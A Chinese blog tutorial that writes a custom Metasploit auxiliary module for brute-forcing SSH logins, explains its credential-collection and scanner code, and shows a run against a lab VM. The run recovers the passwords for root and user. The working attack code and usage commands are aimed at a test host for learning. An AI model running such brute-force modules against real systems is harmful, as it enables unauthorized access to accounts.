自定义的 SSH 认证暴力破解模块
一、代码实现
require 'msf/core' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'ssh login test', 'Description' => %q{ My Module. }, 'Author' => 'z9m8r8', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(22) ], self.class ) end def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], pass_file: datastore['PASS_FILE'], password: datastore['PASSWORD'], user_file: datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], username: datastore['USERNAME'], user_as_pass: datastore['USER_AS_PASS'], ) scanner=Metasploit::Framework::LoginScanner::SSH.new( host:ip, port:datastore['RPORT'], cred_details: cred_collection, proxies: datastore['Proxies'], stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['SSH_TIMEOUT'], framework: framework, framework_module: self, ) scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: self.fullname, workspace_id: myworkspace_id ) if result.success? credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) print_status "#{ip} - LOGIN FAILED: #{result.credential}(#{result.status}: #{result.proof})" end end end end
二、代码解析
1、库文件介绍
- Msf::Auxiliary::AuthBrute 存在于/lib/msf/core/auxiliary/auth_brute.rb中,提供了必要的暴力破解机制和功能,例如提供了单独的登录用户名和密码表、生词表、空密码等选项
- msf/core库文件包含了core库的路径
- metasploit/framework/login_scanner/ssh包含了SSH登录扫描库,利用这个库可以避免所有的手动操作,它还提供了SSH扫描的基础API。
- metasploit/framework/credential_collection帮助我们通过使用datastore中的用户输入,创建复合的登录凭证。
2、函数介绍
initialize函数定义基本信息
cred_collection和scanner对象
- 其中的cred_collection对象会基于用户的输入产生登录凭证, scanner对象会使用这些登录凭证去扫描目标
CredentialCollection类
- cred_collection仅仅实现了按照数据存储选项来设置登录凭证。
- 所有的登录扫描模块都需要使用credential对象完成登录操作
- CredentialCollection类的优势在于,它既可以在一次扫描中同时执行单一的用户名/密码组合、生词本、空白密码等操作,也可以一次只执行一种操作
.scanner
- 完成对一个SSH类对象的初始化
- 对象中存储了目标的地址、端口 、使用CredentialCollection类产生的登录凭证和其他信息,包括代理信息、 stop_on_success的值(如果为真,扫描将会在获取到正确的登录凭证之后停止)、暴力破解的速度以及登录超时的值
.scan
- 使用.scan可以实现扫描的初始化,它将完成所有的登录尝试——这表示我们无须指定其他机制。 .scan指令就相当于Ruby中的each循环语句
- create_credential():存于/lib/msf/core/auxiliary/report.rb中,从result对象中得到登录凭证数据
- create_credential_login() :存于/lib/msf/core/auxiliary/report.rb中,从result对象中创建登录凭证,利用这个凭证可以登录特定的服务
- invalidate_login:存于/lib/msf/core/auxiliary/report.rb中,用来标记一些对目标服务无效的登录凭证
- credential_data = result.to_h:to_h方法对这个结果进行处理后分配给变量credential_data。 to_h方法的作用是将数据转换成哈希格式。
- 将模块的名字和工作区 id合并到 credential_data变量中
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
- 使用 result对象的.success变量作为判断条件,这个变量表示对目标的登录是否成功。如果result.success?的值为true,就认为这个登录凭证是正确的,并将其保存到数据库中;不过如果这个条件不满足要求,就将这个登录数据变量传递给invalidate_login方法,表示这次登录失败了
if result.success? credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) print_status "#{ip} - LOGIN FAILED: #{result.credential}(#{result.status}: #{result.proof})" end
3、保存位置
4、调试检查语法错误
本应使用msftidy调式检查,由于实践时个人实验机的msftidy总出错,故是直接通过msfconsole加载失败查看日志改正的
msfconsole 能加载成功但run时报错
msf6 auxiliary(scanner/ssh/ssh_login_test) > run [-] Auxiliary failed: ArgumentError wrong number of arguments (given 1, expected 0) [-] Call stack: [-] /usr/share/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_login_test.rb:43:in `run_host' [-] /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:121:in `block (2 levels) in run' [-] /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' [*] Auxiliary module execution completed
根据提示到43行检查所得 port:datastore('RPORT'), 该语句中的 [] 写成了 () ,改回 [] 即可
三、msf 中运行测试
msf6 > use auxiliary/scanner/ssh/ssh_login_test msf6 auxiliary(scanner/ssh/ssh_login_test) > set rhosts 10.10.10.129 rhosts => 10.10.10.129 msf6 auxiliary(scanner/ssh/ssh_login_test) > set threads 10 threads => 10 msf6 auxiliary(scanner/ssh/ssh_login_test) > set pass_file "/home/z9m8r8/test/user_pass.txt" pass_file => /home/z9m8r8/test/user_pass.txt msf6 auxiliary(scanner/ssh/ssh_login_test) > set user_file "/home/z9m8r8/test/user_pass.txt" user_file => /home/z9m8r8/test/user_pass.txt msf6 auxiliary(scanner/ssh/ssh_login_test) > run [!] No active DB -- Credential data will not be saved! [*] 10.10.10.129 - LOGIN FAILED: admin:admin(Incorrect: ) [*] 10.10.10.129 - LOGIN FAILED: admin:roor(Incorrect: ) ………… [*] 10.10.10.129 - LOGIN FAILED: root:ubuntu(Incorrect: ) [+] 10.10.10.129 - LOGIN SUCCESSFUL: root:owaspbwa [*] 10.10.10.129 - LOGIN FAILED: toor:admin(Incorrect: ) [*] 10.10.10.129 - LOGIN FAILED: toor:roor(Incorrect: ) [*] 10.10.10.129 - LOGIN FAILED: user:ubuntu(Incorrect: ) [+] 10.10.10.129 - LOGIN SUCCESSFUL: user:owaspbwa [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/ssh/ssh_login_test) > creds Credentials =========== host origin service public private realm private_type JtR Format ---- ------ ------- ------ ------- ----- ------------ ---------- 10.10.10.129 10.10.10.129 22/tcp (ssh) user owaspbwa Password 10.10.10.129 10.10.10.129 22/tcp (ssh) root owaspbwa Password msf6 auxiliary(scanner/ssh/ssh_login_test) >
四、参考文献
《精通Metasploit渗透测试》
不忘初心,方得始终。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?